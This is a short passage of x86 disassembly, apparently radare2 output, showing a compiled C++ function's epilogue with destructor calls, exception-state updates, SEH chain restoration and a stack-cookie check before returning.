mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x264]
call fcn.004b33d0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x24c]
call fcn.004a4f40
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x234]
call fcn.004a4f40
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x3b4]
call fcn.004a4f40
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x204]
call fcn.004a4f40
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x21c]
call fcn.004a4f40
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1ec]
call fcn.004b33d0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x54c]
call fcn.004e0d20
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x144]
call fcn.004b33d0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x4d8]
call fcn.004e0d20
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x604]
call fcn.004e1220
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x15c]
call fcn.004a4f40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x18c]
call fcn.004a4f40
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x128]
call fcn.004a50a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a4]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1bc]
call fcn.004e0c60
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x174]
call fcn.004a4f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d4]
call fcn.004e0c60
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004a4f40
mov eax, dword [ebp - 0x834]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f49c2
mov esp, ebp
pop ebp
ret